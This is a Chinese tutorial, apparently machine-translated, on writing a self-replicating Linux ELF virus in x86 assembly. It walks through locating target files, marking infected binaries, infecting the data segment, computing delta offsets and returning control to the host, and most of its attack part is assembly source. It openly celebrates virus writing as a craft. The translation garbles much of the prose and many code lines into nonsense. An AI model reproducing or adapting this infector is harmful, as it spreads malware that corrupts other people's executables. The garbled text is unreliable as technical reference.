如何使用汇编语言编写一个病毒

方法装配语言中病毒的编辑者

序文

病毒作曲的技术如同曾经消灭了。。我们家不祝福歹意软件。,内部颠覆者,蠕虫等适合病毒。。你可以申请若干敌对的手稿按次语言去作曲那渣滓按次并且拍着它本身的背面嘚瑟一下,但这绝不克不及让你适合病毒作者。。作曲计算机病毒绝不明确的是你主教教区的毁灭。,这也静止你的病毒播送的广袤和防止被检测到的平稳的。,它也比防病毒软件公司更明亮。。它是关注引入和创作能力的。。计算机病毒在很多运动场就像纸质平的。。你命令用明亮和创造力的办法抱住平的。,并沉思使它在不可防止的着陆前尽量久长的使惊飞。在万维网在前,播送病毒是一挑动。。走运好的话,它会传染除你在不同的的若干电脑。。假定走运更妥,你的病毒将与巨大的事物病毒或Michelangelo viru有异样的流行。。

假定你想被数数病毒作者,你只好实现利益或财富同样的节操。。秘密地黑客机构,黑客/黑客/轰炸机,我最看法的是病毒作者。。因没某人能做到。,这真的能证实他比别的更深。、零碎和软件知。你不克不及期望适合一复杂的病毒作者依照国际公约。。作曲一真正的病毒命令比普通黑客更多的技术。。积年后来地,我没能作曲一运转良好的二元系供应纸张来传染病毒。。老是失误的。、报错、报错。这是一件使成为一体排泄物的事实。。因而我强调写昆虫的。、金衡制炸弹和ANSI炸弹。我强调写BBS使有缺陷。,还可以恶化电视游玩软件打击版权保卫。。无论何时据我的观点我的编辑者技术终极就十足了。,当沉思写病毒时,,化为泡影再次降临到头上在我的脸上。。我花了好几年的时期才写出了一真正可以通行的的病毒。。这执意为什么我被病毒迷住了,想找出相当多的真正的病毒。。在瑞安“elfmaster”奥尼尔演义的书《背诵Linux二元系按次剖析》中,他转位:

这是一超越一套动作规划国际公约的伟大挑动工程。,它问开发人员跳出规矩制作模型。,巧妙地控制代码、材料和典礼使它在一种平稳的上表现浮现。,当与AV防病毒软件开发人员通信器时,令我诧异的是,,他们伴奏没某人对方法恶化病毒有若干以为。,更不消说设计若干真正的仔细查看法来分清它们(不计署名)。确实,病毒作曲是例外的拮据的。,命令规范枯燥的的技术。。

装配语言中病毒的编辑者

病毒是一门技术。。缀编和C(不申请代码库)将是你的画笔。。目前的,我会扶助你们处置我面对的相当多的挑动。。开端吧。,看一眼你能否有适合技术家的潜力。!

在不同的我先前的源代码传染病毒快速地流动。,这是一更上进和负有挑动性的经历/申请(是否是E)。。只因为,我鼓舞你尽量多地读书和吸取。。

让我们家先来撰文一下我的以为。、真正的病毒得具有相当多的特点。:

病毒会传染二元系可表现供应纸张。

——病毒代码只好是孤独的,它与其他的供应纸张使关心。、代码库、按次等。

受传染的大师供应纸张可以持续表现和转学病毒。

病毒像逍遥骑士同样地不毁灭做主人供应纸张。。传染的做主人得持续表现,仿佛它们被传染了同样地。

因我们家想传染二元系可表现供应纸张。,这样,简短声明引见了不同的的可表现典型。。

  • ELF-(可表现和环的供应纸张格式)Unix和类Unix零碎规范的的二元系供应纸张格式。这同样很多遥控器。,游玩玩家(游玩站),任天堂)等等及其他。。
  • machinery 机器o -(machinery 机器反对)是NeXTSTEP,macOS,IOS等,二元系可表现供应纸张格式申请,你竟是在申请它。,因各种的的苹果遥控器都在这边。。
  • 32位和64位微软手感的PE(可移植法可表现按次)
  • MZ(DOS) DOS伴奏的可表现供应纸张格式…各种的的微软32和以下手感零碎被申请。
  • COM(DOS) DOS伴奏的可表现供应纸张格式…各种的的微零碎在32和以下手感零碎下运转。

有很多微软病毒快速地流动。,只因为ELF病毒如同更具挑动性,并且快速地流动罕见。,因而我最关注的是32个ELF工程的传染。。

据我的观点审稿人反正有一种规矩的包括。。假定不注意到,我提议你读书我先前的视频博客文字。:

Stupid Simple Computer Virus in 3 Lines of Code

How to Create a Computer Virus

How to Make a Simple Computer Virus with Python

主要的步是找到要被传染的供应纸张。。DOS操作指南集不费力地找到供应纸张。。AH:4Eh INT 21操作指南可以基金预先决定的供应纸张找到主要的婚配供应纸张。,和啊:4FH INT 21,你可以找到下一婚配供应纸张。。三灾八难的是,对我们家来说,事实不克为了复杂。。申请Linux按次集检索供应纸张列表,这责任很多互插的供应纸张。。多数的各自的答复中我们家显示证据它依赖于POSIX零碎的readdir()应变量。但我们家是黑客。,本来的的?让我们家做黑客得做什么来变卖它。。你得熟识的器是Strues。。跑步机 ls,当运转ls命令时,我们家主教教区,零碎叫来和用动作示意随后。

AH:4Eh INT 21操作指南

你感兴趣的给赚取是GET。。因而下一步是寻觅Geress。。这会给我们家若干指出。,我们家得方法申请它,也方法实现利益或财富大学影响便览的列表。。这执意我显示证据的。:

  1. 电动摩托车, 5      ; sys_open 
  2. MOV EBX,供应纸张夹;大学影响便览名。
  3. MOV ECX, 0 
  4. MOV-EDX, 0 
  5.     int 80h 
  6. 两人间的关系机械抛光,0、反省EAX切中要害FD能否为>0(ok)
  7. JBE失误;无法翻开供应纸张,失误躬身送出门
  8. MOV EBX, eax     
  9.     电动摩托车, 0xdc   ; sys_getdents64  
  10. MOV ECX, buffer  
  11. MOV-EDX, len  
  12.     int 80h  
  13.     电动摩托车,6;封闭
  14.     int 80h 

如今,大学影响便览的使满足曾经在我们家下令委任的起缓冲作用的人中。,我们家只好剖析它。。出于一种造成,关于每个供应纸张名,如同不注意到分歧的偏移量。,但或许我错了。。但我只对那原始的字母行定义感兴趣。。我所做的是跺脚起缓冲作用的人到规范输入。,以前将其禁猎地到另一供应纸张。,以前申请十六二元系编辑者翻开它。。我显示证据每一供应纸张名都有一前缀。,前缀由十六点二元系值0x00(NULL)结合,后头是一六重奏。。供应纸张名由NULL终止工作(后缀是十六二元系0x00)。

  1. find_filename_start: 
  2. 在供应纸张名开端在前查找序列0008。
  3. 添加EDI, 1 
  4. CMP EDI, len  
  5. 杰吉德
  6. CMP八位位组[缓冲剂 EDI], 0x00  
  7.     jnz find_filename_start  
  8. 添加EDI, 1 
  9. CMP八位位组[缓冲剂 EDI], 0x08  
  10.     jnz find_filename_start  
  11. 异或ECX,ECX空。,它将作为供应纸张被否认的。
  12. find_filename_end: 
  13. 排空ECX,它将作为供应纸张被否认的。
  14. 添加EDI, 1  
  15. CMP EDI, len     
  16. 杰吉德
  17. 防波堤BL,[起缓冲作用的人 EDI];从起缓冲作用的人用羔羊皮装饰的供应纸张名分离。
  18.     mov [file+ecx], bl  
  19.     inc ecx                 ; 增添禁猎地在ecx的偏移量 
  20. CMP八位位组[缓冲剂 EDI],0x00;表现供应纸张名的定局。
  21.     jnz find_filename_end 
  22. MOV八位位组[供应纸张 ECX ],0x00;在这边,我们家实现利益或财富供应纸张的定义。,在它的牛臀肉上加一0x00。
  23. 对这事供应纸张做相当多的手感。
  24.     jmp find_filename_start ; 找下一供应纸张 

其实有更妥的办法来做这些事实。。您命令做的是婚配大学影响便览条决定八位位组构成。:

  1. struct linux_dirent { 
  2.                unsigned long  d_ino;     /* Inode number */ 
  3.                unsigned long  d_off;      /* 下一linux_dirent的偏移 */ 
  4.                unsigned short d_reclen;  /* 这事linux_dirent的尺寸 */ 
  5.                char           d_name[];  /* 供应纸张名 (null定局) */ 
  6.                                  /* length is actually (d_reclen - 2 - 
  7.                                     offsetof(struct linux_dirent, d_name)) */ 
  8.                /* 
  9.                char           pad;       // Zero padding byte 
  10.                char           d_type;    // File type (only since Linux 
  11.                                          // ); offset is (d_reclen - 1) 
  12.                */ 
  13.            } 
  14. struct linux_dirent64 { 
  15.                ino64_t        d_ino;    /* 64位inode number */ 
  16.                off64_t        d_off;    /* 64位下个structure的偏移 */ 
  17.                unsigned short d_reclen; /* 这事dirent的尺寸 */ 
  18.                unsigned char  d_type;   /* 供应纸张典型 */ 
  19.                char           d_name[]; /*供应纸张名 (null定局) */ 
  20.            }; 

但我申请的是我显示证据的制作模型。,它不申请构成切中要害偏移量。。

下一步是反省供应纸张。,看一眼能否:

这是一ELF可表现供应纸张。

它被传染了吗?

早点儿时分,我为不同的的手感引入了不同的典型的可表现供应纸张。。这些供应纸张典型在它们的供应纸张头上有不同的的指示。。像,ELF供应纸张老是源自7F45 4c46开端。45-4c-46是ASCII字母E-L-F的巫婆表现。

假定转储Windows可表现供应纸张,则有十六点二元系材料,你会主教教区它从4D5A开端。,代表字母Z。

十六二元系转储OSX可表现供应纸张显示紧跟八位位组CEFA。 EDFE,这同样一小的饲料。 FACE”。

在这边你可以主教教区更多的可表现供应纸张格式和它们各自的监视。:

0edd1e00

在我的病毒里,我以为把我的监视写在ELF供应纸张第九的头上 – 12八位位组在未申请的本地新闻。这是个好本地新闻。,它可以用来贮藏一双字0EDD1E00-我的名字。。

我命令这事来监视我传染的供应纸张。,这样,我不克再次传染受传染的供应纸张。。不然,传染供应纸张的尺寸将越来越大,如SoNB。,基本的显示证据了耶路撒冷病毒。。

复杂地读取前12个八位位组。,我们家能确保供应纸张是一澄清的传染目的吗?。我地基把每个潜在的目的贮藏在一独自的起缓冲作用的人中。,称之为目的。。

如今它开端进入越来越难了。。为了传染ELF供应纸张,你命令意识到使关心ELF供应纸张构成的各种的。。这是背诵的好集中。:。

相异的复杂的COM供应纸张,ELF有相当多的不同的的挑动。。复杂来说,ELF供应纸张包括:ELF头,按次头,节头,命令手感码。

ELF桅顶告知我们家关注按次头和HEA的数据。。它还告知我们家按次引进点在内存切中要害名列前茅(FI)。

这事起作用告知我们家。,哪个部件属于译文段?,哪个部件属于材料段?,也给予了供应纸张切中要害偏移量。。

该节供应了关注每个节日的和他们的部件的数据。。这能稍许的杂乱。。率先要包括的是,一可表现供应纸张与D不同的。,这些头在这两个运动场给予了互插的数据。。

译文段是可被读取/表现的代码段。,它包括我们家的代码和其他的只读材料。。

材料段是可读/写的材料段。,它包括关注全程变量和静态环的数据。。

在译文段中,有A译文分离和A RODATA分离。。部件材料,有A分离和BSS分离。。

假定你熟识装配语言,这些章节定义健康状态得很熟识。。

译文是代码驻留的本地新闻。,材料是全程变量设定初值的本地新闻。。BSS包括未设定初值的全程变量。,因它不注意到设定初值。,因而不注意到服务磁盘间隔。。

相异的PE供应纸张(微软),ELF供应纸张中不注意到过于的传染区域。。过时DOS、COM供应纸张简直容许你在若干本地新闻添加病毒代码,以前在100 这事地址相交了内存代码(因COM供应纸张老是在100)。 H的内存地址开端有代理人。。ELF供应纸张不容许您作曲译文段。。这些是传染ELF病毒的次要道路。:

受传染译文段填区

译文经过的传染牛臀肉。我们家可以应用ELF供应纸张的特点。,当使担负到内存中,牛臀肉将申请0填到充分的内存页中。。内存页长限度局限,因而我们家最好的在32位零碎中容受一4。 KB病毒或64位零碎切中要害2位。 MB病毒。能眼神很小。,但它也足以容受用C或缀编作曲的小病毒。。这一目的的变卖是:

修正引进点(ELF头)到译文分离的末了。

增添表中页的尺寸(精灵头)

——增添Text段的供应纸张尺寸和内存尺寸为病毒代码的尺寸

在病毒被寄生后遍历每个按次头。,基金页表尺寸增添符合的的偏移量。

查找译文段的决定性的一节。,增添结(头)的尺寸

传染后横贯病毒的每一分离。,基金页表尺寸增添符合的的偏移量。

——在.text节的牛臀肉拔出实践的病毒代码

——拔出病毒代码后快速转变到原始大师的引进点。表现

译文经过的反向传染

在容许大师代码的同时,译文分离的小心探索着前进受到传染。。我们家将在相反的方针的决定形成译文段。。近代Linux零碎中容许的最小缄口有代理人地址为0x100。,这是我们家可以反向形成译文段的限度局限尺寸。。浅谈64位制,默许译文段缄口地址通常为0x4000。,在ELF头尺寸为RE以前,可以保存0x3FF000的胶料。。浅谈32位制,默许译文段缄口地址通常为0x08048。,这能会产生更多的病毒。。变卖这一目的的办法是:

——增添节表(在ELF头)里的偏移为病毒尺寸(对下一内存页疏远值取余)

译文段按次头,因为尺寸的缄口地址(和物理地址)增加

译文段按次头,基金病毒尺寸增添供应纸张尺寸和内存尺寸

基金病毒的尺寸(再次),遍历每个按次头的偏移量,将其值增添到译文段过去的。

——修正引进点(在ELF头)到原始的text段缄口地址——病毒的尺寸(再次取余)

基金病毒的尺寸(再次),增添按次头偏移(在ELF桅顶上)

将病毒灵拔出译文段的前面的

材料段传染

传染材料段。我们家将把病毒代码附加到data段(在.bss节在前)。因它是材料的一分离。,我们家的病毒代码可以尽量的大,就像我们家打算的这么。。材料贮藏段材料具有R。 + W(读写)运转设置,译文内存有R。 + X(读取和表现)运转设置。在不注意到NX位设置的零碎中,像32位Linux零碎。,可以在不更改运转的影响下表现部件材料切中要害代码。。除了,其他的零碎问您在内存段添加可表现监视。。

基金病毒的尺寸,增添头部的偏移量

将引进点(在ELF头)修正为材料段的定局(V)

在材料段按次头中,因为病毒尺寸增添页表尺寸和内存尺寸

增添BSS分离的偏移量(静止VIR的尺寸)

设置材料段的可表现运转位(32位Linux零碎)。

将病毒灵拔出到材料段的末了

——拔出代码,快速转变到原始大师的引进点。

自然,有更多的方法被传染。,但这些都是主要的选择。。以我们家为例,将采取前述的第三种办法。。

作曲病毒的另一次要障碍物是变量。。抱负影响下,我们家不舒服兼并.DATA和BSS分离。。另外,一旦编辑者或编辑者病毒,无法典当您的病毒一直产生同一的缄口添加中。。确实,这简直究竟不克产生。,在这种影响下,大师按次会投错部件。。因而在抱负的影响下,您打算将病毒限度局限在考虑到的区域。:.text。假定你有编纂经历,你意识到这是一挑动。。我将和你分享相当多的灵巧。,它得使奔流更轻易。。

率先,让我们家看一眼.data变量(设定初值)。假定能的话,硬编码值。或许,补助金我有我的.ASM代码。:

  1. 横切面材料
  2. 供应纸张夹DB。, 0 
  3. 伦2048
  4. 丝裂霉素32
  5.     elfheader dd 0x464c457f     ; 0x7f454c46 ->反向八位位组按次
  6.     signature dd 0x001edd0e     ; 0x0edd1e00 逆转八位位组序后的署名 
  7. BSS
  8.     filename: resb filenamelen  ; 目的供应纸张常规路线 
  9.     buffer: resb len            ; 各种的的的供应纸张名 
  10.     targets: resb len           ; 目的供应纸张名 
  11.     targetfile: resb len        ; 目的供应纸张使满足 
  12. 译文分离
  13.     global v1_start 
  14. v1_start: 
  15. 你可以同样做: 
  16. 呼叫署名
  17.     dd 0x001edd0e     ; 0x0edd1e00逆转八位位组序后的署名 
  18. signature: 
  19. POP ECX;如今它的价钱为在ECX。

我们家在申请的是,叫来叫来操作指南时,呼叫的流传的操作指南的相对地址将被按下。。

这样,我们家可以经过每个材料段切中要害变量来处置这事成绩。。

关注BSS分离切中要害变量(未设定初值),我们家命令贮藏一定数量的八位位组材料。。我们家在.text节里同样做因它属于Text代码段,其属性监视为R。 + X(读取和表现),在该内存段中以书面提出材料是不容许的。。因而我决定申请堆栈。。栈?是的,一旦我们家将八位位组压入栈中,我们家可以主教教区堆栈柄并保存这些紧跟。。上面是我的处置方案的一包围。:

  1. 为未设定初值变量翻开堆栈存储量以防止申请
  2. MOV ECX,2328;设置肥胖的计数2328。x4=9312八位位组)。供应纸张名(ESP), buffer (esp+32), targets (esp+1056), targetfile (esp+2080) 
  3. loop_bss: 
  4.     push 0x00       ; 压入4个八位位组(双字)的0 
  5. 子ECX,1;减一。
  6. 两人间的关系机械抛光ECX, 0 
  7.     jbe loop_bss 
  8. MOV EDI,ESP;ESP具有我们家祝福伪造的BSS偏移量。。让我们家把它贮藏在EDI中。。 

注意到,我曾经按下0x00八位位组(按32双压机),正当地地被说成记录的尺寸。。正当地地说,我们家挤了2328下。。这将给我们家大概9312八位位组的间隔申请。。一旦我走完各种的的0八位位组栈,贮藏ESP的值(即,我们家的堆栈柄),并把它作为我们家锻炼的BSS的根底。。我可以援用ESP。 会谈不同的的变量。在我的包围中,我禁猎地的[ESP]对应于供应纸张名。,科特雷耳电集尘器 + 32)对应于缓冲剂。,科特雷耳电集尘器 + 1056)对应于目的。,也科特雷耳电集尘器 + 2080]对应targetfile。

如今我可以完整裁剪.DATA和.BSS分离的申请。,统统病毒由只的译文分离造成。!

Read是一例外的有用处的器。。运转readelf A[供应纸张]将给予ELF头/按次头/头的相当多的小事。:

这边有三个分离。:.text、.data、.bss

text节

在这边,我们家消不计BSS分离。:

消不计.bss节

在这边,我们家曾经完整消不计材料段。。我们家可以申请.text分离孤独地走完各种的的的事实。!

完整消不计.data段

如今我们家命令从大师供应纸张读取八位位组材料到起缓冲作用的人。,对头部举行命令的修正。,射中病毒指示物。。假定您曾经走完了大学影响便览记录构成的作业,这对你有得益。。不然,我们家将不得不读取一八位位组到一八位位组的供应纸张。,直到零碎读取EAX的0使恢复原状。 X00的呼叫,这指示我们家曾经范围了EOF。:

  1. reading_loop: 
  2.     电动摩托车, 3              ; sys_read 
  3. MOV-EDX,1;一次读取一八位位组(是),我意识到这能是最好的。
  4.     int 80h  
  5. 两人间的关系机械抛光,0;假定使恢复原状0,我们家读了使关心EOF的文字。
  6.     je reading_eof 
  7.     电动摩托车, edi  
  8. 添加EAX, 9312          ; 2080 + 7232 (2080 targetfile在我们家伪造 .bss的偏移) 
  9. 两人间的关系机械抛光ECX,假定供应纸张超越7232八位位组, 躬身送出门 
  10. JGE传染
  11. 添加ECX, 1 
  12.     jmp reading_loop 
  13. reading_eof: 
  14.     push ecx                ;禁猎地决定性的读取的一八位位组的地址,我们家后来地命令。
  15.     电动摩托车,6;封闭供应纸张。
  16.     int 80h 

修正起缓冲作用的人例外的复杂。。记得,当踏过若干八位位组时,只得益理反向八位位组按次(小八位位组)。。

这边我们家注射病毒监视并使变为引进点指导我们家在材料段牛臀肉的病毒代码。(内存中未被供应纸张尺寸相交的BSS服务的间隔):

  1. MOV EBX, dword [edi+2080+eax+8]     ; phdr->Vaddr(内存缄口地址)
  2. 添加EBX,新的引进点= PHDR [材料]>VADDR P[材料]>filesz 
  3. MOV ECX, 0x001edd0e     ; 在8八位位组处拔出我们家的指示(ELF头不注意到用到的节) 
  4. mov [edi+2080+8], ecx 
  5. mov [edi+2080+24],用病毒(起缓冲作用的人)相交旧的引进点

注意到到我以为贮藏0xedd1e00(用巫婆使具有特点作曲的我的名字)的病毒监视,只因为反向八位位组按次给予了0x01ED00E。。

你也会注意到到,我申请提议算法找到栈的根据区域导向的T。

如今我们家命令态度材料按次并举行相当多的修正。。窍门是率先找到PTHLoad典型。,以前决定偏移责任0吗?。假定偏移量为0,它是一译文按次头。。不然,这是材料。。

  1. section_header_loop: 
  2. BSS横切面经过节头(NoBIT)的肥胖的搜索
  3.    
  4. 0 SyName包括指导预先决定节的定义字母行的柄。
  5. 4 SHI-型预先决定横切面典型〔节名〕
  6. 8个指示其他的指示
  7. 缄口地址
  8. 10供应纸张偏移量的SH偏移分离
  9.     ;+14    sh_size zara white phone numba 
  10. 18突发环的SHILLink
  11. 1C SHIFIN基金横切面典型
  12. 20方位疏远
  13.     ;+24    sh_entsize  当节包括扣紧尺寸的引进时被申请 
  14. 添加斧, word [edi+2080+46] 
  15. 两人间的关系机械抛光ECX, 0 
  16.     jbe finish_infection        ; 未查明.bss节。不消担忧。,传染可以走完。
  17. 子ECX,1;减一。
  18.    
  19. MOV EBX, dword [edi+2080+eax+4]     ; shdr->典型(切开典型)
  20. CMP EBX, 0x00000008         ; 0x08是 NOBITS,区间BSS证明人
  21.     jne section_header_loop     ; 责任.bss节 
  22.    
  23. MOV EBX, dword [edi+2080+eax+12]    ; shdr->内存缄口地址
  24.     添加EBX, v_stop - v_start   ; 增添我们家病毒的尺寸给 shdr->addr 
  25.     添加EBX,7;为了跳到集中。
  26.     mov [edi+2080+eax+12],申请新的旧SHDR相交。>(起缓冲作用的人)
  27.    
  28. MOV-EDX, dword [edi+2080+eax+16]    ; shdr->偏移(切开偏移)
  29. 添加EDX, v_stop - v_start   ; 增添我们家病毒的尺寸给shdr->offset 
  30. 添加EDX,7;为了跳到集中。
  31.     mov [edi+2080+eax+16],EDX;申请新的旧SHDR相交。>偏移量(在起缓冲作用的人)

我们家还命令修正.bSS桅顶。。我们家可以反省mark NOBITS典型来断定这能否是结节头。。打包头不明确的命令运转可表现供应纸张。。因而假定我们家未查明它,没什么重要的的。,我们家依然可以持续。:

  1. ;dword [edi+2080+24]       ; ehdr->引进(引进点的缄口地址)
  2. ;dword [edi+2080+28]       ; ehdr->Phoff(便宜地起作用头)
  3. ;dword [edi+2080+32]       ; ehdr->Shoff(使有球形突出物偏移)
  4. ;word [edi+2080+40]        ; ehdr->Ehsize(精灵头尺寸)
  5. ;word [edi+2080+42]        ; ehdr->PHEnthScript(按次头的引进尺寸)
  6. ;word [edi+2080+44]        ; ehdr->Phnum(按次头脑项的数量)
  7. ;word [edi+2080+46]        ; ehdr->Shentsize(头项尺寸)
  8. ;word [edi+2080+48]        ; ehdr->Shnum(按次头脑项的数量)
  9. 电动摩托车, v_stop - v_start       ; 我们家病毒的尺寸减去到原始引进点的快速转变 
  10. 添加EAX, 7                      ; 为了到原始引进点的快速转变 
  11. MOV EBX,dWord〔EDI 2080+32〕;原件的同盟条约偏移。
  12. 添加EAX, ebx                    ; 增添原始节头偏移 
  13. mov [edi+2080+32],申请旧的SHDR相交。>偏移量(在起缓冲作用的人)

以前,自然,我们家命令修正头部偏移量来修正ELF头。,因我们家传染了材料段的末端的(在BSS在前)。按次头坚持在异体同形的名列前茅。:

  1. ;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point) 
  2. ;dword [edi+2080+28]       ; ehdr->PHOFF(按次头偏移)
  3. ;dword [edi+2080+32]       ; ehdr->SHIFF(节头偏移)
  4. ;word [edi+2080+40]        ; ehdr->EHGE(ELF桅顶胶料)
  5. ;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry) 
  6. ;word [edi+2080+44]        ; ehdr->phnum (number of program header entries) 
  7. ;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry) 
  8. ;word [edi+2080+48]        ; ehdr->shnum (number of program header entries) 
  9. 电动摩托车, v_stop - v_start       ; size of our virus minus the jump to original entry point 
  10. 添加EAX, 7                      ; for the jmp to original entry point 
  11. MOV EBX, dword [edi+2080+32]    ; the original section header offset 
  12. 添加EAX, ebx                    ; add the original section header offset 
  13. mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer) 

决定性的一步是注射病毒的灵代码。,并走完快速转变操作指南使恢复原状大师代码引进点。,同样我们家不知道的用户就会主教教区大师按次不变的运转。。

你能会问它本身这事成绩是,病毒方法夸张它本身的代码?病毒是方法决定它本身的尺寸呢?这些都是澄清的成绩。率先,我用紧跟来监视病毒的开端和完毕。,以前申请复杂的=mathematics偏移。:

  1. 译文分离
  2.     global v_start 
  3.    
  4. v_start: 
  5. 病毒体开端
  6. ... 
  7. ... 
  8. ... 
  9. ... 
  10. v_stop: 
  11. 病毒体末端的
  12.     电动摩托车, 1      ; sys_exit 
  13. MOV EBX,0;不变的养护。
  14.     int 80h 

经过同样做,我可以申请VYSTART作为病毒启动时的偏移量。,以前,可以申请VYSTOT-VYSTART作为八位位组数(尺寸)。。

  1. 电动摩托车, 4 
  2. MOV ECX,VXSTART;附加病毒分离。
  3. MOV-EDX,VY-START-VYSTART;病毒八位位组尺寸
  4. int 80h 

病毒尺寸(VY-终止) – 更妥的计算,只因为在主要的次传染后病毒代码的前面的(mov ecx, 援用将化为泡影。。确实,对相对地址的若干援用城市化为泡影。,因不同的大师按次的内存名列前茅会产生兑换。。在编辑者持久计算像VYSTART的紧跟的相对地址。,这静止它是怎样下令的。。你申请的不变的短跳就像JMP。、jne、jnz等都将被交换为相关于流传的操作指南的偏移,只因为像MOV同样的地址不克使变为。。我们家命令的是变量增量偏移。。Delta偏移量是与流传的大师FIL的缄口地址差。。这么方法实现利益或财富delta偏移量呢?这有一我从90年终的DOS病毒快速地流动“Dark Angel’s Phunky Virus 从导游那边学到的例外的复杂的技术。:

  1. call delta_offset 
  2. lta_offset: 
  3. 风尚等的流行脑出血
  4. 亚EBP, delta_offset 

在流传的名列前茅叫来紧跟,流传的操作指南的柄(相对地址)就会被压入栈以近便的你可以意识到你RET使恢复原状到哪里。我们家唯一的从堆栈中获取这事值,以前实现利益或财富指导流传的INS的柄。。以前从CurrE中减去原始病毒的相对地址。,我们家在EBP实现利益或财富了变量增量偏移。!在原始病毒的表现奔流中,δ偏移量为0。。

你会注意到到,为了防止相当多的障碍物,我们家不打给赚取叫给赚取。,反之亦然。我提议你不要在这事工程那一边为了做。,因很明显。,投下呼叫/ RET对将造成功能消融。…但这绝不不变的。。

如今我们家有delta偏移量。,让我们家把VYSTART的援用交换成delta偏移版本。:

  1. 电动摩托车, 4 
  2. 莱卡, [ebp + v_start]    ; 附加病毒分离 (用delta偏移计算) 
  3. MOV-EDX,病毒材料尺寸
  4. int 80h 

请注意到,我不注意到在病毒中包括零碎躬身送出门叫来。。这是因我不打算病毒在表现大师在前躬身送出门。。相反,我用快速转变到原始大师的代码交换这分离。。因不同的大师按次的引进点是不同的的。,我命令静态地扩展它,以前我将直接地拔出空旷。。为了找出手感码,您只好率先理解JMP操作指南它本身的特点。。JMP操作指南将尝试经过计算。我们家只好举办它相对的位置。。我经过缀编一小按次外面的JMP短快速转变和JMP远快速转变算出了它们的巫婆手感码。JMP 手感代码从E9顶替FF。

  1. MOV EBX, 0x08048080 
  2. JMP EBX
  3. jmp 0x08048080 

任命后,我运转XXD,以前反省八位位组材料,意识到方法把它翻译成。

“xxd”以前反省八位位组材料就意识到方法将它翻译成手感码

  1. pop edx                 ; 做主人按次的原始引进点 
  2. MOV[EDI], byte 0xb8        ; MOV EAX的手感码 (1 byte) 
  3. mov [edi+1],原始引进点(4八位位组)
  4. mov [edi+5], word 0xe0ff    ; JMP EAX手感码 (2 bytes) 

MOV双记录EAX决定性的表现为B8。 xx xx xx xx。JMP到记录EAX中贮藏的地址决定性的表现为FF。 E0

总通俗的7个额定的八位位组被添加到病毒的末端的。。这也意思是,我们家修正的每个偏移量和供应纸张尺寸只好加到这事额定的7八位位组中。。

因而我的病毒使变为了起缓冲作用的人的头部(而责任供应纸张),以前用修正的起缓冲作用的人相交做主人供应纸张直到我们家病毒代码驻留的偏移名列前茅。以前拔出它本身(VSTART),持续以书面提出缓冲八位位组的其他分离。,决定性的,将控制权转变到原始大师供应纸张。。

一旦我编辑者病毒,我以为人工操作添加病毒监视在八分之一八位位组的病毒。。在我的影响下,这能责任命令的。,因我的病毒会漏过目的假定它不注意到一DATA段的话,但影响并非老是这样的。。翻开你喜好的十六健康状态编辑者并添加这些八位位组。!

如今我们家走完了。,让我们家编辑者和结帐它。:nasm -f elf -F dwarf -g virus.asm && ld -m elf_i386 -e v_start -o virus.o

我录制了长结帐电视。。我健康状态稍许的缺少热心。,唯一的因钟鸣漏尽了。,确实,我兴高采烈。。

既然你曾经看完了,这边是我下评论病毒代码的环。:

这是一种例外的复杂的ELF传染病毒。。它也可以经过例外的复杂的调理来改良。:

从ELF桅顶摘录更多数据(32或64位)、可表现供应纸张等。

在目的供应纸张起缓冲作用的人后分派供应纸张起缓冲作用的人。为什么?因当我们家实现targetfile起缓冲作用的人时就不再申请供应纸张起缓冲作用的人了,我们家可以径流供应纸张起缓冲作用的人以实现更大的目的供应纸张起缓冲作用的人。。

遍历大学影响便览,它也可以经过相当多的略微复杂的调理来改良。:

略微相交我们家的轨道和更妥的隐形。

——编密码!

——使变为特点

申请更拮据的检测办法传染

好了,这执意你的整个穿插。。

总结

经过读书这篇文字,我打算你也能实现相当多的关注探试法病毒检测知(而不命令搜索考虑到病毒特点)。或许这将是另一天的以奇想主题布置的。。或许我会引见OSX病毒。…或许我会做相当多的恶行,指示一诺迪斯病毒。。

[编辑者的提议]

【责任编辑者:

它疯狂的

TEL:(010)68476606】

点赞 0

发表评论

电子邮件地址不会被公开。 必填项已用*标注